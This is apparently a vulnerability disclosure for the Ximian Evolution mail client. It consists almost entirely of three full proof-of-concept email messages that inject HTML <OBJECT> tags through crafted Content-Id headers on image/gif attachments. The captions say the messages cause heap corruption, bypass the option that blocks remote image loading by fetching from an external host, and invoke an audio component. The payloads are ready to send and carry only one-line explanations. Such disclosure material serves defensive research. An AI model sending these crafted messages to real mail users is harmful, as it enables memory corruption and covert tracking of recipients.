Ximian Evolution MIME image/* Content-Type Data Inclusion Vulnerability

Ximian Evolution MIME image/* Content-Type Data Inclusion Vulnerability

The following example will cause heap corruption:

>From xxx@corest.com Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxx@corest.com>
To: xxx@corest.com
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Content-Id: hello

Hello World!

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name1.gif
Content-Type: image/gif; name=name1.gif
Content-Id: "><OBJECT classid="cid:hello" type="text/plain"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:hello" type="text/plain"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y

The following example will bypass the "Don't connect to remote hosts to fetch images" option:

>From xxx@corest.com Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxx@corest.com>
To: xxx@corest.com
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Type: text/html
Content-Transfer-Encoding: 7bit
Content-Id: apart

<img src="http://external.host.com:anyport">

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:apart" type="text/html"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y

The following example will cause Evolution to invoke the bonobo-audio-ulaw component:

>From xxx@corest.com Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxx@corest.com>
To: xxx@corest.com
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Type: audio/ulaw
Content-Transfer-Encoding: 7bit
Content-Id: mysong

There she was, just walking down the street...

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:mysong" type="audio/ulaw"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y